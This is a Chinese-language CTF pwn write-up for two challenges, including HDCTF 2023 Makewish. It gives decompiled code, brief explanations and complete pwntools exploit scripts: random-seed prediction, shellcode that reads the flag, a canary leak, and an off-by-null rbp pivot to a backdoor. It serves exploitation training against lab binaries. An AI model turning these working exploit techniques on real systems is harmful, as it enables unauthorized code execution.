IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; int v5; int v6; int v7; int i; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); v7 = 100 ; sandbox(); v3 = time(0LL ); srand(v3); for ( i = 0 ; i < v7; ++i ) { v6 = rand() % 50 ; puts ("please input a guess num:" ); if ( (unsigned int )__isoc99_scanf("%d" , &v5) == -1 ) exit (0 ); if ( getchar() != 10 ) exit (1 ); if ( v6 == v5 ) { puts ("good guys" ); vulnerable(); } else { puts ("no,no,no" ); } } return 0 ; }
这里生成了一个以 time(0) 为种子的随机数,可以绕过,然后 vulnerable 里面是栈溢出,可以写 orw,然后利用 rsp 去跳转
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from ctypes import * libc=CDLL('/home/yyyffff/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) r=remote("node5.anna.nssctf.cn" ,25170 ) context.arch='amd64' seed=libc.time(0 ) libc.srand(seed) random_num=libc.rand()%50 sd = lambda s : r.send(s) sda = lambda s, n : r.sendafter(s, n) sl = lambda s : r.sendline(s) sla = lambda s, n : r.sendlineafter(s, n) rc = lambda n : r.recv(n) ru = lambda s : r.recvuntil(s) addr = lambda n : u64(r.recv(n).ljust(8 , b'\x00' )) addr32 = lambda s : u32(r.recvuntil(s, drop=True , timeout=1 ).ljust(4 , b'\x00' )) addr64 = lambda s : u64(r.recvuntil(s, drop=True , timeout=1 ).ljust(8 , b'\x00' )) byte = lambda n : str (n).encode() info = lambda s, n : print ("\033[31m[" +s+"->" +str (hex (n))+"]\033[0m" ) irt = lambda : r.interactive() sla("please input a guess num:\n" ,str (random_num)) rsp=0x000000000040094e shellcode=asm(shellcraft.cat('flag' )) shellcode=shellcode.ljust(0x28 ,b'\x00' ) shellcode+=p64(rsp)+asm('sub rsp,0x30;jmp rsp' ) sla("your door\n" ,shellcode) irt()
[HDCTF 2023]Makewish 基本信息 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/20260308$ checksec pwn1 [*] '/mnt/hgfs/VMware-share/20260308/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main (int argc, const char **argv, const char **envp) { int buf_; int buf__1; char buf[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28u ); init(*(__int64 *)&argc, (__int64)argv, (__int64)envp); buf__1 = rand() % 1000 + 324 ; puts ("tell me you name\n" ); read(0 , buf, 0x30u ); puts ("hello," ); puts (buf); puts ("tell me key\n" ); read(0 , &buf_, 4u ); if ( buf__1 == buf_ ) return vuln(); puts ("failed" ); return 0 ; }
首先输入一个然后将输入的输出,可以用来泄露 canary
然后需要一个随机数的检验才能进入 vuln(),可以用 ctypes
vuln:
1 2 3 4 5 6 7 8 9 10 11 __int64 vuln () { _BYTE buf[88 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("welcome to HDctf,You can make a wish to me" ); buf[(int )read(0 , buf, 0x60u )] = 0 ; puts ("sorry,i can't do that" ); return 0 ; }
这里 read 有个 off-by-null,就是假设输入两字节数据,会将 buf[2] 设置为0,同时我们发现还有一个后门函数,但是溢出不到返回地址,只能修改 rbp 的低一个字节为 \x00,所以我们可以这样构造:用 ret_addr 作为填充,然后 +p64(backdoor)+p64(canary) ,这样就有概率将rbp修改到我们一连串的 ret 上,从而 ret 到 backdoor。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from ctypes import * context.terminal = ['tmux' , 'splitw' , '-h' ] context(arch = 'amd64' , os = 'linux' ) context.log_level = 'debug' r = process("./pwn1" ) elf = ELF("./pwn1" ) libc = elf.libc libcr=CDLL('/lib/x86_64-linux-gnu/libc.so.6' )def debug (): gdb.attach(r) pause() sd = lambda s : r.send(s) sda = lambda s, n : r.sendafter(s, n) sl = lambda s : r.sendline(s) sla = lambda s, n : r.sendlineafter(s, n) rc = lambda n : r.recv(n) ru = lambda s : r.recvuntil(s) addr = lambda n : u64(r.recv(n).ljust(8 , b'\x00' )) addr32 = lambda s : u32(r.recvuntil(s, drop=True , timeout=1 ).ljust(4 , b'\x00' )) addr64 = lambda s : u64(r.recvuntil(s, drop=True , timeout=1 ).ljust(8 , b'\x00' )) byte = lambda n : str (n).encode() info = lambda s, n : print ("\033[31m[" +s+"->" +str (hex (n))+"]\033[0m" ) irt = lambda : r.interactive() backdoor=0x0000000004007C7 ret_addr=0x000000000400902 rand_num=libcr.rand()%1000 +324 payload=b'a' *0x28 sla("tell me you name\n\n" ,payload) ru(b'a' *0x28 ) canary=addr(8 )-0xa info("canary" ,canary) debug() sda("tell me key\n\n" ,p32(rand_num)) payload=p64(ret_addr)*0xa +p64(backdoor)+p64(canary)print (hex (rand_num)) sda("You can make a wish to me\n" ,payload) irt()